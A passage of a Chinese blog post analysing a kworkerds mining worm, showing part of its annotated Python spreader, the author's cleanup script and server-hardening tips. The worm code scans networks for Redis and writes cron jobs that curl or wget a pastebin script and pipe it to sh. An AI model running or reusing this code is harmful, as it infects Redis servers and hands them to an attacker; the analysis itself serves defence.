# 知识点!配置项stop-writes-on-bgsave-error no (默认值为yes),即当bgsave快照操作出错时停止写数据到磁盘,这样后面写错做均会失败,为了不影响后续写操作,故需将该项值改为no,为啥它会关了这个你懂的!
s2.send('config set stop-writes-on-bgsave-error no\r\n')
# 清除所有的key
s2.send('flushall\r\n')
# 配置redis持久化存储文件
s2.send('config set dbfilename root\r\n')
# 这些就是病毒的计划任务脚本了
s2.send('set SwE3SC "\\t\\n*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\\n\\t"\r\n')
s2.send('set NysX7D "\\t\\n*/15 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\\n\\t"\r\n')
# 配置redis持久化的存储目录,设置了好几个,我说怎么清也清不掉!!!
s2.send('config set dir /etc/cron.d\r\n')
s2.send('save\r\n')
s2.send('config set dir /var/spool/cron\r\n')
s2.send('save\r\n')
s2.send('config set dir /var/spool/cron/crontabs\r\n')
s2.send('save\r\n')
s2.send('flushall\r\n')
s2.send('config set stop-writes-on-bgsave-error yes\r\n')
s2.close()
except Exception:
pass
scanner.lck.acquire()
scanner.tlist.remove(self)
if len(scanner.tlist) < scanner.maxthreads:
scanner.evnt.set()
scanner.evnt.clear()
scanner.lck.release()

def newthread(host):
scanner.lck.acquire()
sc = scanner(host)
scanner.tlist.append(sc)
scanner.lck.release()
sc.start()

newthread = staticmethod(newthread)
# 这里应该是获取局域网主机列表的
def get_ip_list():
try:
url = 'ident.me'
conn = httplib.HTTPConnection(url, port=80, timeout=10)
conn.request(method='GET', url='/', )
result = conn.getresponse()
ip1 = result.read()
ips1 = findall(r'\d+.\d+.', ip1)[0]
for u in range(0, 256):
ip_list1 = (ips1 + (str(u)))
for g in range(1, 256):
IP_LIST.append(ip_list1 + '.' + (str(g)))
except Exception:
ip2 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip()
ips2 = findall(r'\d+.\d+.', ip2)[0]
for i in range(0, 255):
ip_list2 = (ips2 + (str(i)))
for g in range(1, 255):
IP_LIST.append(ip_list2 + '.' + (str(g)))
pass
# 扫描端口!
def runPortscan():
# 先获取ip列表
get_ip_list()
# 循环查找有6379或者6181端口的主机并尝试下发病毒!
for host in IP_LIST:
scanner.lck.acquire()
if len(scanner.tlist) >= scanner.maxthreads:
scanner.lck.release()
scanner.evnt.wait()
else:
scanner.lck.release()
scanner.newthread(host)
for t in scanner.tlist:
t.join()

if __name__ == "__main__":
runPortscan()

彻底查杀病毒!

前面已经分析了他的几个脚本,既然脚本有了,那么清除也就变的简单了,我写成了脚本,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/bash

#文件备份目录
backDir=~/virus

[ ! -e $backDir ] && echo "创建备份目录: $backDir "&& mkdir $backDir

echo "脚本会将文件备份至 $backDir 目录"
function deleteFile(){

for i in /etc/init.d/netdns /opt/yilu /usr/bin/bsd-port /var/tmp /etc/ld.so.preload /tmp/kworkerds /usr/local/bin/dns /usr/sbin/netdns /var/spool/cron/crontabs/root /var/spool/cron/roo /var/tmp/config.json /usr/local/lib/libntpd.so /bin/netstat /etc/cron.daily/oanacroner /etc/cron.d/apache /etc/cron.d/root /etc/cron.d/system /etc/cron.hourly/oanacroner /etc/cron.monthly/oanacroner
do
if [ -e $i ] ;then
# chattr 因为会被病毒脚本调用所以我移走了
~/bin/chattr -ia $i
cp -a $i $backDir/
[ -f $i ]&& echo >$i
echo "清除$i文件"
rm -rf $i
else
echo "$i 文件不存在"
fi
done

}


chkconfig netdns off
deleteFile
mv ~/.ssh/authorized_keys $backDir/

echo "如果有redis或activeMQ请手动备份清除redis或activeMQ内的数据!"

基本告一段落了,应该不会在复发了,如果在复发那只能备份数据,然后重新安装系统了,其实最安装的方法还是重新安装系统,因为那些二进制文件中有没有埋雷这个真不好说。

总结

系统安全很重要!尤其带公网ip的服务器,我根据这次的教训总结以下几点,有问题或补充的欢迎指正。

  1. 默认端口配置!任何服务最好不要使用默认端口,比如本次事故中的sshd,redis
  2. 服务如果不是特殊原因为一定要绑定ip,不要以0.0.0.0的方式启动
  3. 如果是带有公网ip的服务器,防火墙一定要开!只开放对应的端口出去即可,不然会很惨
  4. 禁止root用户远程登陆,不解释
  5. 监控一定要做好,例如此次事故中被强行破解密码,load负载过高的情况都是可以提前预知的。
  6. 不要用弱口令密码!我服务器密码是18位随机生成并且区分大小写的,还被强行破解了,可想而知弱口令密码可能分分钟就凉了
本文作者 : WGY
原文链接 : http://geeklive.cn/2019/02/24/kworkerds/undefined/kworkerds/
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!
留下足迹